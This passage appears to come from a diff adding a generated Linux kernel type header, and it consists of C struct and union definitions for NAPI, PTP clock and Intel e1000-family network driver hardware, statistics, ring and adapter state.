dynevent_type type; + dynevent_create_fn_t run_command; + void *private_data; +}; + +struct gro_list { + struct list_head list; + int count; +}; + +struct napi_struct { + struct list_head poll_list; + unsigned long state; + int weight; + u32 defer_hard_irqs_count; + unsigned long gro_bitmask; + int (*poll)(struct napi_struct *, int); + int list_owner; + struct net_device *dev; + struct gro_list gro_hash[8]; + struct sk_buff *skb; + struct list_head rx_list; + int rx_count; + unsigned int napi_id; + struct hrtimer timer; + struct task_struct *thread; + struct list_head dev_list; + struct hlist_node napi_hash_node; + int irq; +}; + +struct e1000_hw; + +struct e1000_mac_operations { + s32 (*id_led_init)(struct e1000_hw *); + s32 (*blink_led)(struct e1000_hw *); + bool (*check_mng_mode)(struct e1000_hw *); + s32 (*check_for_link)(struct e1000_hw *); + s32 (*cleanup_led)(struct e1000_hw *); + void (*clear_hw_cntrs)(struct e1000_hw *); + void (*clear_vfta)(struct e1000_hw *); + s32 (*get_bus_info)(struct e1000_hw *); + void (*set_lan_id)(struct e1000_hw *); + s32 (*get_link_up_info)(struct e1000_hw *, u16 *, u16 *); + s32 (*led_on)(struct e1000_hw *); + s32 (*led_off)(struct e1000_hw *); + void (*update_mc_addr_list)(struct e1000_hw *, u8 *, u32); + s32 (*reset_hw)(struct e1000_hw *); + s32 (*init_hw)(struct e1000_hw *); + s32 (*setup_link)(struct e1000_hw *); + s32 (*setup_physical_interface)(struct e1000_hw *); + s32 (*setup_led)(struct e1000_hw *); + void (*write_vfta)(struct e1000_hw *, u32, u32); + void (*config_collision_dist)(struct e1000_hw *); + int (*rar_set)(struct e1000_hw *, u8 *, u32); + s32 (*read_mac_addr)(struct e1000_hw *); + u32 (*rar_get_count)(struct e1000_hw *); +}; + +struct e1000_mac_info { + struct e1000_mac_operations ops; + u8 addr[6]; + u8 perm_addr[6]; + enum e1000_mac_type type; + u32 collision_delta; + u32 ledctl_default; + u32 ledctl_mode1; + u32 ledctl_mode2; + u32 mc_filter_type; + u32 tx_packet_delta; + u32 txcw; + u16 current_ifs_val; + u16 ifs_max_val; + u16 ifs_min_val; + u16 ifs_ratio; + u16 ifs_step_size; + u16 mta_reg_count; + u32 mta_shadow[128]; + u16 rar_entry_count; + u8 forced_speed_duplex; + bool adaptive_ifs; + bool has_fwsm; + bool arc_subsystem_valid; + bool autoneg; + bool autoneg_failed; + bool get_link_status; + bool in_ifs_mode; + bool serdes_has_link; + bool tx_pkt_filtering; + enum e1000_serdes_link_state serdes_link_state; +}; + +struct e1000_fc_info { + u32 high_water; + u32 low_water; + u16 pause_time; + u16 refresh_time; + bool send_xon; + bool strict_ieee; + enum e1000_fc_mode current_mode; + enum e1000_fc_mode requested_mode; +}; + +struct e1000_phy_operations { + s32 (*acquire)(struct e1000_hw *); + s32 (*cfg_on_link_up)(struct e1000_hw *); + s32 (*check_polarity)(struct e1000_hw *); + s32 (*check_reset_block)(struct e1000_hw *); + s32 (*commit)(struct e1000_hw *); + s32 (*force_speed_duplex)(struct e1000_hw *); + s32 (*get_cfg_done)(struct e1000_hw *); + s32 (*get_cable_length)(struct e1000_hw *); + s32 (*get_info)(struct e1000_hw *); + s32 (*set_page)(struct e1000_hw *, u16); + s32 (*read_reg)(struct e1000_hw *, u32, u16 *); + s32 (*read_reg_locked)(struct e1000_hw *, u32, u16 *); + s32 (*read_reg_page)(struct e1000_hw *, u32, u16 *); + void (*release)(struct e1000_hw *); + s32 (*reset)(struct e1000_hw *); + s32 (*set_d0_lplu_state)(struct e1000_hw *, bool); + s32 (*set_d3_lplu_state)(struct e1000_hw *, bool); + s32 (*write_reg)(struct e1000_hw *, u32, u16); + s32 (*write_reg_locked)(struct e1000_hw *, u32, u16); + s32 (*write_reg_page)(struct e1000_hw *, u32, u16); + void (*power_up)(struct e1000_hw *); + void (*power_down)(struct e1000_hw *); +}; + +struct e1000_phy_info { + struct e1000_phy_operations ops; + enum e1000_phy_type type; + enum e1000_1000t_rx_status local_rx; + enum e1000_1000t_rx_status remote_rx; + enum e1000_ms_type ms_type; + enum e1000_ms_type original_ms_type; + enum e1000_rev_polarity cable_polarity; + enum e1000_smart_speed smart_speed; + u32 addr; + u32 id; + u32 reset_delay_us; + u32 revision; + u32 retry_count; + enum e1000_media_type media_type; + u16 autoneg_advertised; + u16 autoneg_mask; + u16 cable_length; + u16 max_cable_length; + u16 min_cable_length; + u8 mdix; + bool disable_polarity_correction; + bool is_mdix; + bool polarity_correction; + bool speed_downgraded; + bool autoneg_wait_to_complete; + bool retry_enabled; +}; + +struct e1000_nvm_operations { + s32 (*acquire)(struct e1000_hw *); + s32 (*read)(struct e1000_hw *, u16, u16, u16 *); + void (*release)(struct e1000_hw *); + void (*reload)(struct e1000_hw *); + s32 (*update)(struct e1000_hw *); + s32 (*valid_led_default)(struct e1000_hw *, u16 *); + s32 (*validate)(struct e1000_hw *); + s32 (*write)(struct e1000_hw *, u16, u16, u16 *); +}; + +struct e1000_nvm_info { + struct e1000_nvm_operations ops; + enum e1000_nvm_type___2 type; + enum e1000_nvm_override override; + u32 flash_bank_size; + u32 flash_base_addr; + u16 word_size; + u16 delay_usec; + u16 address_bits; + u16 opcode_bits; + u16 page_size; +}; + +struct e1000_bus_info { + enum e1000_bus_width width; + u16 func; +}; + +struct e1000_host_mng_dhcp_cookie { + u32 signature; + u8 status; + u8 reserved0; + u16 vlan_id; + u32 reserved1; + u16 reserved2; + u8 reserved3; + u8 checksum; +}; + +struct e1000_dev_spec_82571 { + bool laa_is_present; + u32 smb_counter; +}; + +struct e1000_dev_spec_80003es2lan { + bool mdic_wa_enable; +}; + +struct e1000_shadow_ram { + u16 value; + bool modified; +}; + +struct e1000_dev_spec_ich8lan { + bool kmrn_lock_loss_workaround_enabled; + struct e1000_shadow_ram shadow_ram[2048]; + bool nvm_k1_enabled; + bool eee_disable; + u16 eee_lp_ability; + enum e1000_ulp_state ulp_state; +}; + +struct e1000_adapter; + +struct e1000_hw { + struct e1000_adapter *adapter; + void *hw_addr; + void *flash_address; + struct e1000_mac_info mac; + struct e1000_fc_info fc; + struct e1000_phy_info phy; + struct e1000_nvm_info nvm; + struct e1000_bus_info bus; + struct e1000_host_mng_dhcp_cookie mng_cookie; + union { + struct e1000_dev_spec_82571 e82571; + struct e1000_dev_spec_80003es2lan e80003es2lan; + struct e1000_dev_spec_ich8lan ich8lan; + } dev_spec; +}; + +struct e1000_hw_stats { + u64 crcerrs; + u64 algnerrc; + u64 symerrs; + u64 rxerrc; + u64 mpc; + u64 scc; + u64 ecol; + u64 mcc; + u64 latecol; + u64 colc; + u64 dc; + u64 tncrs; + u64 sec; + u64 cexterr; + u64 rlec; + u64 xonrxc; + u64 xontxc; + u64 xoffrxc; + u64 xofftxc; + u64 fcruc; + u64 prc64; + u64 prc127; + u64 prc255; + u64 prc511; + u64 prc1023; + u64 prc1522; + u64 gprc; + u64 bprc; + u64 mprc; + u64 gptc; + u64 gorc; + u64 gotc; + u64 rnbc; + u64 ruc; + u64 rfc; + u64 roc; + u64 rjc; + u64 mgprc; + u64 mgpdc; + u64 mgptc; + u64 tor; + u64 tot; + u64 tpr; + u64 tpt; + u64 ptc64; + u64 ptc127; + u64 ptc255; + u64 ptc511; + u64 ptc1023; + u64 ptc1522; + u64 mptc; + u64 bptc; + u64 tsctc; + u64 tsctfc; + u64 iac; + u64 icrxptc; + u64 icrxatc; + u64 ictxptc; + u64 ictxatc; + u64 ictxqec; + u64 ictxqmtc; + u64 icrxdmtc; + u64 icrxoc; +}; + +struct e1000_phy_stats { + u32 idle_errors; + u32 receive_errors; +}; + +struct e1000_phy_regs { + u16 bmcr; + u16 bmsr; + u16 advertise; + u16 lpa; + u16 expansion; + u16 ctrl1000; + u16 stat1000; + u16 estatus; +}; + +struct e1000_buffer; + +struct e1000_ring { + struct e1000_adapter *adapter; + void *desc; + dma_addr_t dma; + unsigned int size; + unsigned int count; + u16 next_to_use; + u16 next_to_clean; + void *head; + void *tail; + struct e1000_buffer *buffer_info; + char name[21]; + u32 ims_val; + u32 itr_val; + void *itr_register; + int set_itr; + struct sk_buff *rx_skb_top; +}; + +struct hwtstamp_config { + int flags; + int tx_type; + int rx_filter; +}; + +struct timecounter { + const struct cyclecounter *cc; + u64 cycle_last; + u64 nsec; + u64 mask; + u64 frac; +}; + +struct ptp_pin_desc; + +struct ptp_system_timestamp; + +struct system_device_crosststamp; + +struct ptp_clock_request; + +struct ptp_clock_info { + struct module *owner; + char name[32]; + s32 max_adj; + int n_alarm; + int n_ext_ts; + int n_per_out; + int n_pins; + int pps; + struct ptp_pin_desc *pin_config; + int (*adjfine)(struct ptp_clock_info *, long); + int (*adjphase)(struct ptp_clock_info *, s32); + s32 (*getmaxphase)(struct ptp_clock_info *); + int (*adjtime)(struct ptp_clock_info *, s64); + int (*gettime64)(struct ptp_clock_info *, struct timespec64 *); + int (*gettimex64)(struct ptp_clock_info *, struct timespec64 *, struct ptp_system_timestamp *); + int (*getcrosststamp)(struct ptp_clock_info *, struct system_device_crosststamp *); + int (*settime64)(struct ptp_clock_info *, const struct timespec64 *); + int (*getcycles64)(struct ptp_clock_info *, struct timespec64 *); + int (*getcyclesx64)(struct ptp_clock_info *, struct timespec64 *, struct ptp_system_timestamp *); + int (*getcrosscycles)(struct ptp_clock_info *, struct system_device_crosststamp *); + int (*enable)(struct ptp_clock_info *, struct ptp_clock_request *, int); + int (*verify)(struct ptp_clock_info *, unsigned int, enum ptp_pin_function, unsigned int); + long (*do_aux_work)(struct ptp_clock_info *); +}; + +struct pm_qos_request { + struct plist_node node; + struct pm_qos_constraints *qos; +}; + +struct e1000_info; + +struct msix_entry; + +struct ptp_clock; + +struct e1000_adapter { + struct timer_list watchdog_timer; + struct timer_list phy_info_timer; + struct timer_list blink_timer; + struct work_struct reset_task; + struct work_struct watchdog_task; + const struct e1000_info *ei; + unsigned long active_vlans[64]; + u32 bd_number; + u32 rx_buffer_len; + u16 mng_vlan_id; + u16 link_speed; + u16 link_duplex; + u16 eeprom_vers; + unsigned long state; + u32 itr; + u32 itr_setting; + u16 tx_itr; + u16 rx_itr; + long: 64; + long: 64; + struct e1000_ring *tx_ring; + u32 tx_fifo_limit; + struct napi_struct napi; + unsigned int uncorr_errors; + unsigned int corr_errors; + unsigned int restart_queue; + u32 txd_cmd; + bool detect_tx_hung; + bool tx_hang_recheck; + u8 tx_timeout_factor; + u32 tx_int_delay; + u32 tx_abs_int_delay; + unsigned int total_tx_bytes; + unsigned int total_tx_packets; + unsigned int total_rx_bytes; + unsigned int total_rx_packets; + u64 tpt_old; + u64 colc_old; + u32 gotc; + u64 gotc_old; + u32 tx_timeout_count; + u32 tx_fifo_head; + u32 tx_head_addr; + u32 tx_fifo_size; + u32 tx_dma_failed; + u32 tx_hwtstamp_timeouts; + u32 tx_hwtstamp_skipped; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + bool (*clean_rx)(struct e1000_ring *, int *, int); + void (*alloc_rx_buf)(struct e1000_ring *, int, gfp_t); + struct e1000_ring *rx_ring; + u32 rx_int_delay; + u32 rx_abs_int_delay; + u64 hw_csum_err; + u64 hw_csum_good; + u64 rx_hdr_split; + u32 gorc; + u64 gorc_old; + u32 alloc_rx_buff_failed; + u32 rx_dma_failed; + u32 rx_hwtstamp_cleared; + unsigned int rx_ps_pages; + u16 rx_ps_bsize0; + u32 max_frame_size; + u32 min_frame_size; + struct net_device *netdev; + struct pci_dev *pdev; + struct e1000_hw hw; + spinlock_t stats64_lock; + struct e1000_hw_stats stats; + struct e1000_phy_info phy_info; + struct e1000_phy_stats phy_stats; + struct e1000_phy_regs phy_regs; + struct e1000_ring test_tx_ring; + struct e1000_ring test_rx_ring; + u32 test_icr; + u32 msg_enable; + unsigned int num_vectors; + struct msix_entry *msix_entries; + int int_mode; + u32 eiac_mask; + u32 eeprom_wol; + u32 wol; + u32 pba; + u32 max_hw_frame_size; + bool fc_autoneg; + unsigned int flags; + unsigned int flags2; + struct work_struct downshift_task; + struct work_struct update_phy_task; + struct work_struct print_hang_task; + int phy_hang_count; + u16 tx_ring_count; + u16 rx_ring_count; + struct hwtstamp_config hwtstamp_config; + struct delayed_work systim_overflow_work; + struct sk_buff *tx_hwtstamp_skb; + unsigned long tx_hwtstamp_start; + struct work_struct tx_hwtstamp_work; + spinlock_t systim_lock; + struct cyclecounter cc; + struct timecounter tc; + struct ptp_clock *ptp_clock; + struct ptp_clock_info ptp_clock_info; + struct pm_qos_request pm_qos_req; + long ptp_delta; + u16 eee_advert; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct e1000_eeprom_info { + e1000_eeprom_type type; + u16 word_size; + u16 opcode_bits; + u16 address_bits; + u16 delay_usec; + u16 page_size; +}; + +struct e1000_shadow_ram___2; + +struct e1000_hw___2 { + u8 *hw_addr; + u8 *flash_address; + void *ce4100_gbe_mdio_base_virt; + e1000_mac_type mac_type; + e1000_phy_type phy_type; + u32 phy_init_script; + e1000_media_type media_type; + void *back; + struct e1000_shadow_ram___2 *eeprom_shadow_ram; + u32 flash_bank_size; + u32 flash_base_addr; + e1000_fc_type fc; + e1000_bus_speed bus_speed; + e1000_bus_width bus_width; + e1000_bus_type bus_type; + struct e1000_eeprom_info eeprom; + e1000_ms_type master_slave; + e1000_ms_type original_master_slave; + e1000_ffe_config ffe_config_state; + u32 asf_firmware_present; + u32 eeprom_semaphore_present; + unsigned long io_base; + u32 phy_id; + u32 phy_revision; + u32 phy_addr; + u32 original_fc; + u32 txcw; + u32 autoneg_failed; + u32 max_frame_size; + u32 min_frame_size; + u32 mc_filter_type; + u32 num_mc_addrs; + u32 collision_delta; + u32 tx_packet_delta; + u32 ledctl_default; + u32 ledctl_mode1; + u32 ledctl_mode2; + bool tx_pkt_filtering; + struct e1000_host_mng_dhcp_cookie mng_cookie; + u16 phy_spd_default; + u16 autoneg_advertised; + u16 pci_cmd_word; + u16 fc_high_water; + u16 fc_low_water; + u16 fc_pause_time; + u16 current_ifs_val; + u16 ifs_min_val; + u16 ifs_max_val; + u16 ifs_step_size; + u16 ifs_ratio; + u16 device_id; + u16 vendor_id; + u16 subsystem_id; + u16 subsystem_vendor_id; + u8 revision_id; + u8 autoneg; + u8 mdix; + u8 forced_speed_duplex; + u8 wait_autoneg_complete; + u8 dma_fairness; + u8 mac_addr[6]; + u8 perm_mac_addr[6]; + bool disable_polarity_correction; + bool speed_downgraded; + e1000_smart_speed smart_speed; + e1000_dsp_config dsp_config_state; + bool get_link_status; + bool serdes_has_link; + bool tbi_compatibility_en; + bool tbi_compatibility_on; + bool laa_is_present; + bool phy_reset_disable; + bool initialize_hw_bits_disable; + bool fc_send_xon; + bool fc_strict_ieee; + bool report_tx_early; + bool adaptive_ifs; + bool ifs_params_forced; + bool in_ifs_mode; + bool mng_reg_access_disabled; + bool leave_av_bit_off; + bool bad_tx_carr_stats_fd; + bool has_smbus; +}; + +struct e1000_hw_stats___2 { + u64 crcerrs; + u64 algnerrc; + u64 symerrs; + u64 rxerrc; + u64 txerrc; + u64 mpc; + u64 scc; + u64 ecol; + u64 mcc; + u64 latecol; + u64 colc; + u64 dc; + u64 tncrs; + u64 sec; + u64 cexterr; + u64 rlec; + u64 xonrxc; + u64 xontxc; + u64 xoffrxc; + u64 xofftxc; + u64 fcruc; + u64 prc64; + u64 prc127; + u64 prc255; + u64 prc511; + u64 prc1023; + u64 prc1522; + u64 gprc; + u64 bprc; + u64 mprc; + u64 gptc; + u64 gorcl; + u64 gorch; + u64 gotcl; + u64 gotch; + u64 rnbc; + u64 ruc; + u64 rfc; + u64 roc; + u64 rlerrc; + u64 rjc; + u64 mgprc; + u64 mgpdc; + u64 mgptc; + u64 torl; + u64 torh; + u64 totl; + u64 toth; + u64 tpr; + u64 tpt; + u64 ptc64; + u64 ptc127; + u64 ptc255; + u64 ptc511; + u64 ptc1023; + u64 ptc1522; + u64 mptc; + u64 bptc; + u64 tsctc; + u64 tsctfc; + u64 iac; + u64 icrxptc; + u64 icrxatc; + u64 ictxptc; + u64 ictxatc; + u64 ictxqec; + u64 ictxqmtc; + u64 icrxdmtc; + u64 icrxoc; +}; + +struct e1000_phy_info___2 { + e1000_cable_length cable_length; + e1000_10bt_ext_dist_enable extended_10bt_distance; + e1000_rev_polarity cable_polarity; + e1000_downshift downshift; + e1000_polarity_reversal polarity_correction; + e1000_auto_x_mode mdix_mode; + e1000_1000t_rx_status local_rx; + e1000_1000t_rx_status remote_rx; +}; + +struct e1000_tx_buffer; + +struct e1000_tx_ring { + void *desc; + dma_addr_t dma; + unsigned int size; + unsigned int count; + unsigned int next_to_use; + unsigned int next_to_clean; + struct e1000_tx_buffer *buffer_info; + u16 tdh; + u16 tdt; + bool last_tx_tso; +}; + +struct e1000_rx_buffer; + +struct e1000_rx_ring { + void *desc; + dma_addr_t dma; + unsigned int size; + unsigned int count; + unsigned int next_to_use; + unsigned int next_to_clean; + struct e1000_rx_buffer *buffer_info; + struct sk_buff *rx_skb_top; + int cpu; + u16 rdh; + u16 rdt; +}; + +struct e1000_adapter___2 { + unsigned long active_vlans[64]; + u16 mng_vlan_id; + u32 bd_number; + u32 rx_buffer_len; + u32 wol; + u32 smartspeed; + u32 en_mng_pt; + u16 link_speed; + u16 link_duplex; + spinlock_t stats_lock; + unsigned int total_tx_bytes; + unsigned int total_tx_packets; + unsigned int total_rx_bytes; + unsigned int total_rx_packets; + u32 itr; + u32 itr_setting; + u16 tx_itr; + u16 rx_itr; + u8 fc_autoneg; + struct e1000_tx_ring *tx_ring; + unsigned int restart_queue; + u32 txd_cmd; + u32 tx_int_delay; + u32 tx_abs_int_delay; + u32 gotcl; + u64 gotcl_old; + u64 tpt_old; + u64 colc_old; + u32 tx_timeout_count; + u32 tx_fifo_head; + u32 tx_head_addr; + u32 tx_fifo_size; + u8 tx_timeout_factor; + atomic_t tx_fifo_stall; + bool pcix_82544; + bool detect_tx_hung; + bool dump_buffers; + bool (*clean_rx)(struct e1000_adapter___2 *, struct e1000_rx_ring *, int *, int); + void (*alloc_rx_buf)(struct e1000_adapter___2 *, struct e1000_rx_ring *, int); + struct e1000_rx_ring *rx_ring; + struct napi_struct napi; + int num_tx_queues; + int num_rx_queues; + u64 hw_csum_err; + u64 hw_csum_good; + u32 alloc_rx_buff_failed; + u32 rx_int_delay; + u32 rx_abs_int_delay; + bool rx_csum; + u32 gorcl; + u64 gorcl_old; + struct net_device *netdev; + struct pci_dev *pdev; + struct e1000_hw___2 hw; + struct e1000_hw_stats___2 stats; + struct e1000_phy_info___2 phy_info; + struct e1000_phy_stats phy_stats; + u32 test_icr; + struct e1000_tx_ring test_tx_ring; + struct e1000_rx_ring test_rx_ring; + int msg_enable; + bool tso_force; + bool smart_power_down; + bool quad_port_a; + unsigned long flags; + u32 eeprom_wol; + int bars; + int need_ioport; + bool discarding; + struct work_struct reset_task; + struct delayed_work watchdog_task; + struct delayed_work fifo_stall_task; + struct delayed_work phy_info_task; +}; + +union e1000_adv_rx_desc { + struct { + __le64 pkt_addr; + __le64 hdr_addr; + } read; + struct { + struct { + struct { + __le16 pkt_info; + __le16 hdr_info; + } lo_dword; + union { + __le32 rss; + struct { + __le16 ip_id; + __le16 csum; + } csum_ip; + } hi_dword; + } lower; + struct { + __le32 status_error; + __le16 length; + __le16 vlan; + } upper; + } wb; +}; + +struct e1000_adv_tx_context_desc { + __le32 vlan_macip_lens; + __le32 seqnum_seed; + __le32 type_tucmd_mlhl; + __le32 mss_l4len_idx; +}; + +union e1000_adv_tx_desc { + struct { + __le64 buffer_addr; + __le32 cmd_type_len; + __le32 olinfo_status; + } read; + struct { + __le64 rsvd; + __le32 nxtseq_seed; + __le32 status; + } wb; +}; + +struct e1000_ps_page; + +struct e1000_buffer { + dma_addr_t dma; + struct sk_buff *skb; + union { + struct { + unsigned long time_stamp; + u16 length; + u16 next_to_watch; + unsigned int segs; + unsigned int bytecount; + u16 mapped_as_page; + }; + struct { + struct e1000_ps_page *ps_pages; + struct page *page; + }; + }; +}; + +struct e1000_bus_info___2 { + enum e1000_bus_type type; + enum e1000_bus_speed speed; + enum e1000_bus_width width; + u32 snoop; + u16 func; + u16 pci_cmd_word; +}; + +struct e1000_context_desc { + union { + __le32 ip_config; + struct { + u8 ipcss; + u8 ipcso; + __le16 ipcse; + } ip_fields; + } lower_setup; + union { + __le32 tcp_config; + struct { + u8 tucss; + u8 tucso; + __le16 tucse; + } tcp_fields; + } upper_setup; + __le32 cmd_and_length; + union { + __le32 data; + struct { + u8 status; + u8 hdr_len; + __le16 mss; + } fields; + } tcp_seg_setup; +}; + +struct e1000_sfp_flags { + u8 e1000_base_sx: 1; + u8 e1000_base_lx: 1; + u8 e1000_base_cx: 1; + u8 e1000_base_t: 1; + u8 e100_base_lx: 1; + u8 e100_base_fx: 1; + u8 e10_base_bx10: 1; + u8 e10_base_px: 1; +}; + +struct e1000_dev_spec_82575 { + bool sgmii_active; + bool global_device_reset; + bool eee_disable; + bool clear_semaphore_once; + struct e1000_sfp_flags eth_flags; + bool module_plugged; + u8 media_port; + bool media_changed; + bool mas_capable; +}; + +struct e1000_fc_info___2 { + u32 high_water; + u32 low_water; + u16 pause_time; + bool send_xon; + bool strict_ieee; + enum e1000_fc_mode current_mode; + enum e1000_fc_mode requested_mode; +}; + +struct e1000_fw_version { + u32 etrack_id; + u16 eep_major; + u16 eep_minor; + u16 eep_build; + u8 invm_major; + u8 invm_minor; + u8 invm_img_type; + bool or_valid; + u16 or_major; + u16 or_build; + u16 or_patch; +}; + +struct e1000_host_mng_command_header { + u8 command_id; + u8 checksum; + u16 reserved1; + u16 reserved2; + u16 command_length; +}; + +struct e1000_hw___3; + +struct e1000_mac_operations___2 { + s32 (*check_for_link)(struct e1000_hw___3 *); + s32 (*reset_hw)(struct e1000_hw___3 *); + s32 (*init_hw)(struct e1000_hw___3 *); + bool (*check_mng_mode)(struct e1000_hw___3 *); + s32 (*setup_physical_interface)(struct e1000_hw___3 *); + void (*rar_set)(struct e1000_hw___3 *, u8 *, u32); + s32 (*read_mac_addr)(struct e1000_hw___3 *); + s32 (*get_speed_and_duplex)(struct e1000_hw___3 *, u16 *, u16 *); + s32 (*acquire_swfw_sync)(struct e1000_hw___3 *, u16); + void (*release_swfw_sync)(struct e1000_hw___3 *, u16); + s32 (*get_thermal_sensor_data)(struct e1000_hw___3 *); + s32 (*init_thermal_sensor_thresh)(struct e1000_hw___3 *); + void (*write_vfta)(struct e1000_hw___3 *, u32, u32); +}; + +struct e1000_thermal_diode_data { + u8 location; + u8 temp; + u8 caution_thresh; + u8 max_op_thresh; +}; + +struct e1000_thermal_sensor_data { + struct e1000_thermal_diode_data sensor[3]; +}; + +struct e1000_mac_info___2 { + struct e1000_mac_operations___2 ops; + u8 addr[6]; + u8 perm_addr[6]; + enum e1000_mac_type___2 type; + u32 ledctl_default; + u32 ledctl_mode1; + u32 ledctl_mode2; + u32 mc_filter_type; + u32 txcw; + u16 mta_reg_count; + u16 uta_reg_count; + u32 mta_shadow[128]; + u16 rar_entry_count; + u8 forced_speed_duplex; + bool adaptive_ifs; + bool arc_subsystem_valid; + bool asf_firmware_present; + bool autoneg; + bool autoneg_failed; + bool disable_hw_init_bits; + bool get_link_status; + bool ifs_params_forced; + bool in_ifs_mode; + bool report_tx_early; + bool serdes_has_link; + bool tx_pkt_filtering; + struct e1000_thermal_sensor_data thermal_sensor_data; +}; + +struct e1000_phy_operations___2 { + s32 (*acquire)(struct e1000_hw___3 *); + s32 (*check_polarity)(struct e1000_hw___3 *); + s32 (*check_reset_block)(struct e1000_hw___3 *); + s32 (*force_speed_duplex)(struct e1000_hw___3 *); + s32 (*get_cfg_done)(struct e1000_hw___3 *); + s32 (*get_cable_length)(struct e1000_hw___3 *); + s32 (*get_phy_info)(struct e1000_hw___3 *); + s32 (*read_reg)(struct e1000_hw___3 *, u32, u16 *); + void (*release)(struct e1000_hw___3 *); + s32 (*reset)(struct e1000_hw___3 *); + s32 (*set_d0_lplu_state)(struct e1000_hw___3 *, bool); + s32 (*set_d3_lplu_state)(struct e1000_hw___3 *, bool); + s32 (*write_reg)(struct e1000_hw___3 *, u32, u16); + s32 (*read_i2c_byte)(struct e1000_hw___3 *, u8, u8, u8 *); + s32 (*write_i2c_byte)(struct e1000_hw___3 *, u8, u8, u8); +}; + +struct e1000_phy_info___3 { + struct e1000_phy_operations___2 ops; + enum e1000_phy_type___2 type; + enum e1000_1000t_rx_status local_rx; + enum e1000_1000t_rx_status remote_rx; + enum e1000_ms_type ms_type; + enum e1000_ms_type original_ms_type; + enum e1000_rev_polarity cable_polarity; + enum e1000_smart_speed smart_speed; + u32 addr; + u32 id; + u32 reset_delay_us; + u32 revision; + enum e1000_media_type media_type; + u16 autoneg_advertised; + u16 autoneg_mask; + u16 cable_length; + u16 max_cable_length; + u16 min_cable_length; + u16 pair_length[4]; + u8 mdix; + bool disable_polarity_correction; + bool is_mdix; + bool polarity_correction; + bool reset_disable; + bool speed_downgraded; + bool autoneg_wait_to_complete; +}; + +struct e1000_nvm_operations___2 { + s32 (*acquire)(struct e1000_hw___3 *); + s32 (*read)(struct e1000_hw___3 *, u16, u16, u16 *); + void (*release)(struct e1000_hw___3 *); + s32 (*write)(struct e1000_hw___3 *, u16, u16, u16 *); + s32 (*update)(struct e1000_hw___3 *); + s32 (*validate)(struct e1000_hw___3 *); + s32 (*valid_led_default)(struct e1000_hw___3 *, u16 *); +}; + +struct e1000_nvm_info___2 { + struct e1000_nvm_operations___2 ops; + enum e1000_nvm_type type; + enum e1000_nvm_override override; + u32 flash_bank_size; + u32 flash_base_addr; + u16 word_size; + u16 delay_usec; + u16 address_bits; + u16 opcode_bits; + u16 page_size; +}; + +struct e1000_mbx_operations { + s32 (*init_params)(struct e1000_hw___3 *); + s32 (*read)(struct e1000_hw___3 *, u32 *, u16, u16, bool); + s32 (*write)(struct e1000_hw___3 *, u32 *, u16, u16); + s32 (*read_posted)(struct e1000_hw___3 *, u32 *, u16, u16); + s32 (*write_posted)(struct e1000_hw___3 *, u32 *, u16, u16); + s32 (*check_for_msg)(struct e1000_hw___3 *, u16); + s32 (*check_for_ack)(struct e1000_hw___3 *, u16); + s32 (*check_for_rst)(struct e1000_hw___3 *, u16); + s32 (*unlock)(struct e1000_hw___3 *, u16); +}; + +struct e1000_mbx_stats { + u32 msgs_tx; + u32 msgs_rx; + u32 acks; + u32 reqs; + u32 rsts; +}; + +struct e1000_mbx_info { + struct e1000_mbx_operations ops; + struct e1000_mbx_stats stats; + u32 timeout; + u32 usec_delay; + u16 size; +}; + +struct e1000_hw___3 { + void *back; + u8 *hw_addr; + u8 *flash_address; + unsigned long io_base; + struct e1000_mac_info___2 mac; + struct e1000_fc_info___2 fc; + struct e1000_phy_info___3 phy; + struct e1000_nvm_info___2 nvm; + struct e1000_bus_info___2 bus; + struct e1000_mbx_info mbx; + struct e1000_host_mng_dhcp_cookie mng_cookie; + union { + struct e1000_dev_spec_82575 _82575; + } dev_spec; + u16 device_id; + u16 subsystem_vendor_id; + u16 subsystem_device_id; + u16 vendor_id; + u8 revision_id; +}; + +struct e1000_hw_stats___3 { + u64 crcerrs; + u64 algnerrc; + u64 symerrs; + u64 rxerrc; + u64 mpc; + u64 scc; + u64 ecol; + u64 mcc; + u64 latecol; + u64 colc; + u64 dc; + u64 tncrs; + u64 sec; + u64 cexterr; + u64 rlec; + u64 xonrxc; + u64 xontxc; + u64 xoffrxc; + u64 xofftxc; + u64 fcruc; + u64 prc64; + u64 prc127; + u64 prc255; + u64 prc511; + u64 prc1023; + u64 prc1522; + u64 gprc; + u64 bprc; + u64 mprc; + u64 gptc; + u64 gorc; + u64 gotc; + u64 rnbc; + u64 ruc; + u64 rfc; + u64 roc; + u64 rjc; + u64 mgprc; + u64 mgpdc; + u64 mgptc; + u64 tor; + u64 tot; + u64 tpr; + u64 tpt; + u64 ptc64; + u64 ptc127; + u64 ptc255; + u64 ptc511; + u64 ptc1023; + u64 ptc1522; + u64 mptc; + u64 bptc; + u64 tsctc; + u64 tsctfc; + u64 iac; + u64 icrxptc; + u64 icrxatc; + u64 ictxptc; + u64 ictxatc; + u64 ictxqec; + u64 ictxqmtc; + u64 icrxdmtc; + u64 icrxoc; + u64 cbtmpc; + u64 htdpmc; + u64 cbrdpc; + u64 cbrmpc; + u64 rpthc; + u64 hgptc; + u64 htcbdpc; + u64 hgorc; + u64 hgotc; + u64 lenerrs; + u64 scvpc; + u64 hrmpc; + u64 doosync; + u64 o2bgptc; + u64 o2bspc; + u64 b2ospc; + u64 b2ogprc; +}; + +struct e1000_info___2 { + s32 (*get_invariants)(struct e1000_hw___3 *); + struct e1000_mac_operations___2 *mac_ops; + const struct e1000_phy_operations___2 *phy_ops; + struct e1000_nvm_operations___2 *nvm_ops; +}; + +struct e1000_info { + enum e1000_mac_type mac; + unsigned int flags; + unsigned int flags2; + u32 pba; + u32 max_hw_frame_size; + s32 (*get_variants)(struct e1000_adapter *); + const struct e1000_mac_operations *mac_ops; + const struct e1000_phy_operations *phy_ops; + const struct e1000_nvm_operations *nvm_ops; +}; + +struct e1000_opt_list { + int i; + char *str; +}; + +struct e1000_option { + enum { + enable_option = 0, + range_option = 1, + list_option = 2, + } type; + const char *name; + const char *err; + int def; + union { + struct { + int min; + int max; + } r; + struct { + int nr; + const struct e1000_opt_list *p; + } l; + } arg; +}; + +struct e1000_option___2 { + enum { + enable_option___2 = 0, + range_option___2 = 1, + list_option___2 = 2, + } type; + const char *name; + const char *err; + int def; + union { + struct { + int min; + int max; + } r; + struct { + int nr; + struct e1000_opt_list *p; + } l; + } arg; +}; + +struct e1000_ps_page { + struct page *page; + u64 dma; +}; + +struct e1000_reg_info { + u32 ofs; + char *name; +}; + +struct e1000_rx_buffer 